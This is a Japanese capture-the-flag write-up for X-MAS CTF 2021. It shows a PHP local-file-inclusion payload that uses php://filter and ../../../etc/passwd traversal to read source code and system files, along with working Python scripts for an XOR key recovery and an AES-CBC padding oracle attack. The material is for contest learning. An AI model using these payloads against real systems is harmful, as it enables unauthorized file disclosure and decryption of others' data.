X-MAS CTF 2021 Writeup

この大会は2021/12/11 4:00(JST)~2021/12/20 4:00(JST)に開催されました。
今回もチームで参戦。結果は3256点で983チーム中32位でした。
自分で解けた問題をWriteupとして書いておきます。

Ho Ho Ho! Welcome! (Sanity Check)

問題にフラグが書いてあった。

X-MAS{W3lc0m3!!4_y34rz_1n_th3_m4k1ng_4lr34dy?}

The place where @everyone hangs out (Sanity Check)

Discordに入ると、#generalチャネルのトピックにフラグが書いてあった。

X-MAS{H0_H0_H0!S4nt4_sur3_l0v35_d15c0rd_14c90813c}

Mem-X (Web Exploitation)

f:id:satou-y:20211223075457p:plain
!noteで保存したデータを!rememberで読み取るようだ。
/flag.txtにフラグがあるので、以下のように指定してみる。

!remember /flag.txt

ボットから以下のように返された。

We couldn't find a note called /flag.txt.txt! :(

.txtは自動で付けられるようなので、以下のように指定してみる。

!remember /flag

ボットから以下のように返され、フラグを読み取ることができた。

Here's your note!
X-MAS{f0rgEtt1nG_EvEry7h1Ng_abf91b10e019c}

f:id:satou-y:20211223075604p:plain

X-MAS{f0rgEtt1nG_EvEry7h1Ng_abf91b10e019c}

P.A.I.N.T.: Professional Arctic Interactive NT drawing service (Web Exploitation)

http://challs.xmas.htsp.ro:6004/?page=php://filter/convert.base64-encode/resource=index.phpにアクセスする。

PD9waHAKCmlmIChpc3NldCgkX0dFVFsncGFnZSddKSkgewogICAgaW5jbHVkZSgkX0dFVFsncGFnZSddKTsKfSBlbHNlCiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAvP3BhZ2U9Z2FtZS5waHAnKTs=
$ echo PD9waHAKCmlmIChpc3NldCgkX0dFVFsncGFnZSddKSkgewogICAgaW5jbHVkZSgkX0dFVFsncGFnZSddKTsKfSBlbHNlCiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAvP3BhZ2U9Z2FtZS5waHAnKTs= | base64 -d
<?php

if (isset($_GET['page'])) {
    include($_GET['page']);
} else
    header('Location: /?page=game.php');

http://challs.xmas.htsp.ro:6004/?page=../../../etc/passwdにアクセスする。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

http://challs.xmas.htsp.ro:6004/?page=php://filter/convert.base64-encode/resource=game.phpにアクセスする。

PGhlYWQ+CiAgICA8dGl0bGU+UC5BLkkuTi5ULjwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9InN0eWxlLmNzcyI+CjwvaGVhZD4KCjxib2R5PgogICAgPGRpdiBjbGFzcz0id2luZG93LWNvbnRhaW5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0id2luZG93Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGl0bGUiPgogICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy90aXRsZV9sZWZ0LnBuZyIvPgogICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy90aXRsZV9yaWdodC5wbmciLz4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYW52YXMiPgogICAgICAgICAgICAgICAgPGltZyBzdHlsZT0ibWFyZ2luOjZweCIgc3JjPSJjYW52YXMucG5nIi8+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0iYm90dG9tIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJpbWcvYm90dG9tX2xlZnQucG5nIi8+CiAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdHRvbV9yaWdodC5wbmciLz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KPC9ib2R5Pg==
$ echo PGhlYWQ+CiAgICA8dGl0bGU+UC5BLkkuTi5ULjwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9InN0eWxlLmNzcyI+CjwvaGVhZD4KCjxib2R5PgogICAgPGRpdiBjbGFzcz0id2luZG93LWNvbnRhaW5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0id2luZG93Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGl0bGUiPgogICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy90aXRsZV9sZWZ0LnBuZyIvPgogICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy90aXRsZV9yaWdodC5wbmciLz4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYW52YXMiPgogICAgICAgICAgICAgICAgPGltZyBzdHlsZT0ibWFyZ2luOjZweCIgc3JjPSJjYW52YXMucG5nIi8+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0iYm90dG9tIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJpbWcvYm90dG9tX2xlZnQucG5nIi8+CiAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdHRvbV9yaWdodC5wbmciLz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KPC9ib2R5Pg== | base64 -d
<head>
    <title>P.A.I.N.T.</title>
    <link rel="stylesheet" href="style.css">
</head>

<body>
    <div class="window-container">
        <div class="window">
            <div class="title">
                <img src="img/title_left.png"/>
                <img src="img/title_right.png"/>
            </div>

            <div class="canvas">
                <img style="margin:6px" src="canvas.png"/>
            </div>

            <div class="bottom">
                <img src="img/bottom_left.png"/>
                <img src="img/bottom_right.png"/>
            </div>
        </div>
    </div>
</body>

http://challs.xmas.htsp.ro:6004/?page=php://filter/convert.base64-encode/resource=flag.phpにアクセスする。

PD9waHAKCiRmbGFnID0gIlgtTUFTe1A0MU5UX1c0Uj8/X0lUJ1NfTElLM180bl8zZDF0X3c0cixidTdfdzF0aF9wMXgzbDVfMzBjMW45OGN9Ijs=
$ echo PD9waHAKCiRmbGFnID0gIlgtTUFTe1A0MU5UX1c0Uj8/X0lUJ1NfTElLM180bl8zZDF0X3c0cixidTdfdzF0aF9wMXgzbDVfMzBjMW45OGN9Ijs= | base64 -d
<?php

$flag = "X-MAS{P41NT_W4R??_IT'S_LIK3_4n_3d1t_w4r,bu7_w1th_p1x3l5_30c1n98c}";
X-MAS{P41NT_W4R??_IT'S_LIK3_4n_3d1t_w4r,bu7_w1th_p1x3l5_30c1n98c}

Gnome Oriented Programming (Cryptography)

$ nc challs.xmas.htsp.ro 1038
Hi, I am new to Design Patterns and have learned about this Singleton thingy, and I want to test it for bugs! I made an One Time Pad generator in order to test it. Can you please help me debug it?
Encrypted Flag: b'\x16\x98\x84)\xc6\x1fy0\xa8\xdf\xeek\x03\x84\xb8\xef\xc4L\x85\x80\x1b{\xd8)i\xbb`\xba\x7f\xe8.\x0bY\x86\x86;;\x1ar%/\xcc"\x91\x13\x02m\x10\xae\x86\x83(\xf8g~nP\xf2\xc5\x14\xb2\x85\x1c\x1b'
Give me an alphanumeric string:
input = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Encrypted Input: b'/\xd4\xa8\t\xf4\x05\\a\xa7\x89\xd0SR\x90\x86\xbd\xd3\x1e\x96\xbe-h\x88<m\x85R\xeap\xbf#\x0fL\x88\x89o\x05=#6\x11\x9d7\x80-$?\x1f\xaa\x95'

適当に入力すると、フラグと同じ鍵でXOR暗号化した結果を出力する。このことからXOR鍵を求め、フラグを復号する。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.xmas.htsp.ro', 1038))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = eval(data.split(': ')[1])

inp = 'a' * len(enc_flag)
data = recvuntil(s, b'= ')
print(data + inp)
s.sendall(inp.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_inp = eval(data.split(': ')[1])

key = strxor(inp.encode(), enc_inp)
flag = strxor(enc_flag, key).decode()
print(flag)

実行結果は以下の通り。

Hi, I am new to Design Patterns and have learned about this Singleton thingy, and I want to test it for bugs! I made an One Time Pad generator in order to test it. Can you please help me debug it?
Encrypted Flag: b'1\x82\xbe\xc3\xdd\x17\xba\xda\xc0\x9al\xf0\x86\x0ci\x14p\xd7zU)M\x85T\xe0\xe3\xeftC\x83UB\x8d\x1c\xb0\xa2v\xc2\x0e\x8e\x0b\xb3k\t`\xca\xec\xe7\xa3\xe6\xc7x\xe1\xba\x06A\x00pG\xa7b]\x82d'
Give me an alphanumeric string:
input = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Encrypted Input: b'\x08\xce\x92\xe3\xef\r\x9f\x8b\xcf\xccR\xc8\xd7\x18WFg\x85ik\x1f^\xd5A\xe4\xdd\xdd$L\xd4XF\x98\x12\xbf\xf6H\xe5_\x9d5\xe2~\x18^\xec\xbe\xe8\xa7\xf5\x92m\xef\xa9R\x7fQ)N\xa2i\r\xd1x'
X-MAS{D0n7_Y0u_3v3r_Wr1te_S1n6leton5_F0r_0tp_G3ner4tor5_08hdj12}
X-MAS{D0n7_Y0u_3v3r_Wr1te_S1n6leton5_F0r_0tp_G3ner4tor5_08hdj12}

Santa's Secure Database (Cryptography)

$ curl http://challs.xmas.htsp.ro:1034/storage
[{"key":"754f546263d1c04dbc6e6960b4bed0937c368e6bfaf2a52d4bc944cc349103d1260c05b6e2f575dfe1fa65bf448b98c7bb454e54c04f4fbfeed6ec03941ec940946c21ea01d7a9def477c8efa2212f3c"}]

$ curl http://challs.xmas.htsp.ro:1034/storage -H "Content-Type: application/json" -d '{"store": "754f546263d1c04dbc6e6960b4bed0937c368e6bfaf2a52d4bc944cc349103d1260c05b6e2f575dfe1fa65bf448b98c7bb454e54c04f4fbfeed6ec03941ec940946c21ea01d7a9def477c8efa2212f3c"}'
OK

末尾だけ変えてみる。

$ curl http://challs.xmas.htsp.ro:103storage -H "Content-Type: application/json" -d '{"store": "754f546263d1c04dbc6e6960b4bed0937c368e6bfaf2a52d4bc944cc349103d1260c05b6e2f575dfe1fa65bf448b98c7bb454e54c04f4fbfeed6ec03941ec940946c21ea01d7a9def477c8efa2212f3b"}'
Invalid data

先頭だけ変えてみる。

$ curl http://challs.xmas.htsp.ro:1034/storage -H "Content-Type: application/json" -d '{"store": "854f546263d1c04dbc6e6960b4bed0937c368e6bfaf2a52d4bc944cc349103d1260c05b6e2f575dfe1fa65bf448b98c7bb454e54c04f4fbfeed6ec03941ec940946c21ea01d7a9def477c8efa2212f3c"}'
OK

暗号化されているkeyをAES CBC Padding Oracle Attackで復号する問題のようだ。

#!/usr/bin/env python3
import requests
import json
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import unpad

url = 'http://challs.xmas.htsp.ro:1034/storage'

def is_valid(enc):
    headers = {"Content-Type": "application/json"}
    payload = {"store": enc}
    r = requests.post(url, json=payload, headers=headers)
    print(r.text)
    if r.text == 'OK':
        return True
    else:
        return False

r = requests.get(url)
key = json.loads(r.text)[0]['key']
key = bytes.fromhex(key)

key_blocks = [key[i:i+16] for i in range(0, len(key), 16)]

xor_blocks = []
for i in range(1, len(key_blocks)):
    xor_block = b''
    for j in range(16):
        for code in range(256):
            print('[+] %d - %d - %d: %s' % (i, j, code, xor_block.hex()))
            try_pre_block = b'\x00' * (16 - j - 1) + bytes([code]) + strxor(xor_block, bytes([j + 1]) * j)
            try_cipher = (try_pre_block + key_blocks[i]).hex()
            if is_valid(try_cipher):
                xor_code = (j + 1) ^ code
                xor_block = bytes([xor_code]) + xor_block
                break

    xor_blocks.append(xor_block)

key = b''
for i in range(len(xor_blocks)):
    key += strxor(key_blocks[i], xor_blocks[i])
key = unpad(key).decode()
print('[*] key:', key)

復号結果は以下の通り。

          :

[+] 4 - 15 - 201: 38405ace4141b1e0d8e20d9a10c74e
Invalid data
[+] 4 - 15 - 202: 38405ace4141b1e0d8e20d9a10c74e
Invalid data
[+] 4 - 15 - 203: 38405ace4141b1e0d8e20d9a10c74e
Invalid data
[+] 4 - 15 - 204: 38405ace4141b1e0d8e20d9a10c74e
Invalid data
[+] 4 - 15 - 205: 38405ace4141b1e0d8e20d9a10c74e
OK
[*] key: X-MAS{7h3_0r4cl3_0f_64y_b335_15_pl3453d_50912jd1f}
X-MAS{7h3_0r4cl3_0f_64y_b335_15_pl3453d_50912jd1f}